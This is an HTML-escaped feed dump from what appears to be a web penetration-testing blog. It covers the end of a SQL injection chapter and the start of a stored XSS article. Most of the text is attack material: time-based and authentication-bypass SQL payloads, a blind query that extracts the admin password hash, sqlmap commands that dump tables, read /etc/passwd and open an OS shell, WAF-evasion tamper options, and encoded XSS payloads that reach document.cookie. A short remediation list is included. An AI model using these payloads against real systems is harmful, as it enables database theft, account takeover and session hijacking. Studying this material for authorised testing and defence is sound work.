&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt;  &lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;→&lt;/span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; error: note DB &lt;span style=&#34;color:#66d9ef&#34;&gt;type&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;from&lt;/span&gt; error message
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; AND SLEEP(5)--           → MySQL
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;AND&lt;/span&gt; pg_sleep(&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;)&lt;span style=&#34;color:#75715e&#34;&gt;--        → PostgreSQL
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; WAITFOR DELAY &amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;--  → MSSQL
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;AND&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;dbms_pipe.receive_message(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;a&amp;#39;&lt;/span&gt;,&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;)&lt;span style=&#34;color:#75715e&#34;&gt;--  → Oracle
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id=&#34;section-11--authentication-bypass&#34;&gt;Section 11 — Authentication Bypass&lt;/h3&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-sql&#34; data-lang=&#34;sql&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Classic:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;admin&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;admin&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; OR 1=1--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;OR&lt;/span&gt; &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;1&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;OR&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;#&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39; OR 1=1/*
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;-- Username field:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;admin&amp;#39;&lt;/span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/*
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&amp;#39;) OR (&amp;#39;1&amp;#39;=&amp;#39;1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&amp;#39;) OR (&amp;#39;1&amp;#39;=&amp;#39;1&amp;#39;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- With password field both:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;Username: admin&amp;#39;--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;Password: anything
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Bypass with AND/OR logic:
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&amp;#39; OR 1=1 LIMIT 1--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&amp;#39; OR 1=1 ORDER BY 1--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&amp;#39;) OR (1=1)--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;1&amp;#39; OR &amp;#39;1&amp;#39;=&amp;#39;1
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;-- Time-based auth bypass (extract admin hash):
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;&amp;#39; AND IF(SUBSTR((SELECT password FROM users WHERE username=&amp;#39;admin&amp;#39;),1,1)=&amp;#39;a&amp;#39;,SLEEP(5),0)--
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id=&#34;tools&#34;&gt;Tools&lt;/h2&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# SQLMap — automated detection and exploitation:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sqlmap -u &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://target.com/items?id=1&amp;#34;&lt;/span&gt; --dbs
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sqlmap -u &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://target.com/items?id=1&amp;#34;&lt;/span&gt; -D dbname --tables
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sqlmap -u &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://target.com/items?id=1&amp;#34;&lt;/span&gt; -D dbname -T users --dump
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sqlmap -u &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://target.com/items?id=1&amp;#34;&lt;/span&gt; --os-shell
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sqlmap -u &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://target.com/items?id=1&amp;#34;&lt;/span&gt; --file-read&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;/etc/passwd
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sqlmap -u &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://target.com/items?id=1&amp;#34;&lt;/span&gt; --level&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt; --risk&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sqlmap -u &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://target.com/items?id=1&amp;#34;&lt;/span&gt; --technique&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;BEU --dbms&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;mysql
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sqlmap -u &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://target.com/items?id=1&amp;#34;&lt;/span&gt; --tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;space2comment,randomcase
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# SQLMap with POST:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sqlmap -u &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://target.com/login&amp;#34;&lt;/span&gt; --data&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;username=admin&amp;amp;password=pass&amp;#34;&lt;/span&gt; -p username
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# SQLMap from Burp request file:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sqlmap -r request.txt --level&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt; --risk&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# SQLMap cookies:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sqlmap -u &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://target.com/&amp;#34;&lt;/span&gt; --cookie&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;session=abc; id=1&amp;#34;&lt;/span&gt; -p id
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# SQLMap headers:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sqlmap -u &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;https://target.com/&amp;#34;&lt;/span&gt; --headers&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;User-Agent: *&amp;#34;&lt;/span&gt; --level&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;3&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Tamper scripts (WAF bypass):&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;apostrophemask        &lt;span style=&#34;color:#75715e&#34;&gt;# &amp;#39; → %EF%BC%87&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;base64encode          &lt;span style=&#34;color:#75715e&#34;&gt;# encodes payload&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;between               &lt;span style=&#34;color:#75715e&#34;&gt;# &amp;gt; → BETWEEN&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;bluecoat              &lt;span style=&#34;color:#75715e&#34;&gt;# space → %09&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;charencode            &lt;span style=&#34;color:#75715e&#34;&gt;# URL encodes each char&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;charunicodeencode     &lt;span style=&#34;color:#75715e&#34;&gt;# Unicode encodes&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;equaltolike           &lt;span style=&#34;color:#75715e&#34;&gt;# = → LIKE&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;greatest              &lt;span style=&#34;color:#75715e&#34;&gt;# &amp;gt; → GREATEST&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;halfversionedmorekeywords  &lt;span style=&#34;color:#75715e&#34;&gt;# MySQL &amp;lt; 5.1 bypass&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;htmlencode            &lt;span style=&#34;color:#75715e&#34;&gt;# HTML entities&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;ifnull2ifisnull       &lt;span style=&#34;color:#75715e&#34;&gt;# IFNULL → IF(ISNULL)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;modsecurityversioned  &lt;span style=&#34;color:#75715e&#34;&gt;# versioned comments&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;multiplespaces        &lt;span style=&#34;color:#75715e&#34;&gt;# multiple spaces&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;nonrecursivereplacement  &lt;span style=&#34;color:#75715e&#34;&gt;# double keywords&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;percentage            &lt;span style=&#34;color:#75715e&#34;&gt;# %S%E%L%E%C%T&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;randomcase            &lt;span style=&#34;color:#75715e&#34;&gt;# random case&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;space2comment         &lt;span style=&#34;color:#75715e&#34;&gt;# space → /**/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;space2dash            &lt;span style=&#34;color:#75715e&#34;&gt;# space → --\n&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;space2hash            &lt;span style=&#34;color:#75715e&#34;&gt;# space → #\n (MySQL)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;space2morehash        &lt;span style=&#34;color:#75715e&#34;&gt;# space → #hash\n&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;space2mssqlblank      &lt;span style=&#34;color:#75715e&#34;&gt;# space → MS-specific blank&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;space2mysqlblank      &lt;span style=&#34;color:#75715e&#34;&gt;# space → MySQL blank&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;space2plus            &lt;span style=&#34;color:#75715e&#34;&gt;# space → +&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;sp_password           &lt;span style=&#34;color:#75715e&#34;&gt;# appends sp_password (log hiding MSSQL)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;unmagicquotes         &lt;span style=&#34;color:#75715e&#34;&gt;# \&amp;#39; → %bf%27&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;versionedkeywords     &lt;span style=&#34;color:#75715e&#34;&gt;# keywords → /*!keyword*/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;--tamper&lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt;versionedmorekeywords &lt;span style=&#34;color:#75715e&#34;&gt;# more keywords versioned&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h2 id=&#34;remediation-reference&#34;&gt;Remediation Reference&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Parameterized queries / Prepared statements&lt;/strong&gt;: the only reliable fix — never concatenate user input into SQL&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;ORM with safe query builders&lt;/strong&gt;: use the ORM&amp;rsquo;s parameterization, never raw string interpolation&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Input validation&lt;/strong&gt;: whitelist permitted characters (digits only for IDs); this is a secondary defense&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Least privilege&lt;/strong&gt;: database account should have only the permissions required — no FILE, no xp_cmdshell&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WAF&lt;/strong&gt;: useful as defense-in-depth but not a substitute for parameterized queries&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Error handling&lt;/strong&gt;: never expose raw SQL errors to users — log internally, return generic message&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;&lt;em&gt;Part of the Web Application Penetration Testing Methodology series.&lt;/em&gt;
&lt;em&gt;Previous: &lt;a href=&#34;WEB_VULN_INDEX.md&#34;&gt;Index&lt;/a&gt; | Next: &lt;a href=&#34;02_NoSQLi.md&#34;&gt;Chapter 02 — NoSQL Injection&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>Stored XSS: Sanitization Bypass &amp; Encoding Arsenal</title>
      <link>https://az0th.it/web/input/021-input-xss-stored/</link>
      <pubDate>Tue, 24 Feb 2026 00:00:00 +0000</pubDate>
      <guid>https://az0th.it/web/input/021-input-xss-stored/</guid>
      <description>&lt;h1 id=&#34;stored-xss-sanitization-bypass--encoding-arsenal&#34;&gt;Stored XSS: Sanitization Bypass &amp;amp; Encoding Arsenal&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Severity&lt;/strong&gt;: Critical | &lt;strong&gt;CWE&lt;/strong&gt;: CWE-79 | &lt;strong&gt;OWASP&lt;/strong&gt;: A03:2021
&lt;strong&gt;Reference&lt;/strong&gt;: &lt;a href=&#34;https://portswigger.net/web-security/cross-site-scripting/cheat-sheet&#34;&gt;https://portswigger.net/web-security/cross-site-scripting/cheat-sheet&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr&gt;
&lt;h2 id=&#34;sanitization-stack--read-before-testing&#34;&gt;Sanitization Stack — Read Before Testing&lt;/h2&gt;
&lt;p&gt;Stored XSS payloads must survive &lt;strong&gt;two passes&lt;/strong&gt;: sanitization at write time AND output encoding (or lack thereof) at render time. They also traverse the full stack:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[WRITE PATH]
Browser form → client-side JS validation → server input filter → DB storage

[READ PATH]
DB → template engine → browser HTML parser → DOM

Bypass strategy per layer:
  Client JS    → intercept in Burp, submit raw
  Input filter → encoded payload that decodes to XSS after storage
  DB charset   → some DBs strip/alter bytes (test: store emoji, check encoding)
  Template     → look for | safe, | raw, {{{var}}}, dangerouslySetInnerHTML
  Browser      → mXSS: sanitized string re-parsed differently
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id=&#34;identify-output-context-before-picking-payload&#34;&gt;Identify Output Context Before Picking Payload&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;# Submit unique string → visit all pages where it appears → view source
# Find exact rendering:

&amp;lt;div class=&amp;#34;comment&amp;#34;&amp;gt;YOUR_INPUT&amp;lt;/div&amp;gt;         → Context A: HTML body
&amp;lt;input value=&amp;#34;YOUR_INPUT&amp;#34;&amp;gt;                    → Context B: double-quoted attr
&amp;lt;a href=&amp;#34;YOUR_INPUT&amp;#34;&amp;gt;                         → Context C: href
&amp;lt;script&amp;gt;var msg = &amp;#34;YOUR_INPUT&amp;#34;;&amp;lt;/script&amp;gt;      → Context D: JS string
&amp;lt;!-- YOUR_INPUT --&amp;gt;                           → Context E: HTML comment
&amp;lt;script&amp;gt;var cfg = {user: YOUR_INPUT};&amp;lt;/script&amp;gt;→ Context F: JS unquoted
&lt;/code&gt;&lt;/pre&gt;&lt;hr&gt;
&lt;h2 id=&#34;payload-table--all-encoding-variants&#34;&gt;Payload Table — All Encoding Variants&lt;/h2&gt;
&lt;h3 id=&#34;script-in-html-body-context&#34;&gt;&lt;code&gt;&amp;lt;script&amp;gt;&lt;/code&gt; in HTML Body Context&lt;/h3&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;[RAW]
&amp;lt;script&amp;gt;alert(1)&amp;lt;/script&amp;gt;
&amp;lt;script&amp;gt;alert(document.domain)&amp;lt;/script&amp;gt;
&amp;lt;script&amp;gt;alert(document.cookie)&amp;lt;/script&amp;gt;

[HTML ENTITY — decimal]
&amp;amp;#60;script&amp;amp;#62;alert(1)&amp;amp;#60;/script&amp;amp;#62;
&amp;amp;#60;script&amp;amp;#62;alert(document.domain)&amp;amp;#60;/script&amp;amp;#62;

[HTML ENTITY — hex]
&amp;amp;#x3c;script&amp;amp;#x3e;alert(1)&amp;amp;#x3c;/script&amp;amp;#x3e;
&amp;amp;#x3c;script&amp;amp;#x3e;alert(document.domain)&amp;amp;#x3c;/script&amp;amp;#x3e;

[HTML ENTITY — hex zero-padded (common WAF bypass)]
&amp;amp;#x003c;script&amp;amp;#x003e;alert(1)&amp;amp;#x003c;/script&amp;amp;#x003e;
&amp;amp;#x003c;script&amp;amp;#x003e;alert(document.domain)&amp;amp;#x003c;/script&amp;amp;#x003e;

[HTML ENTITY — no semicolons]
&amp;amp;#60script&amp;amp;#62alert(1)&amp;amp;#60/script&amp;amp;#62
&amp;amp;#x3cscript&amp;amp;#x3ealert(document.domain)&amp;amp;#x3c/script&amp;amp;#x3e

[URL ENCODED]
%3Cscript%3Ealert(1)%3C%2Fscript%3E
%3cscript%3ealert(document.domain)%3c%2fscript%3e

[DOUBLE URL ENCODED]
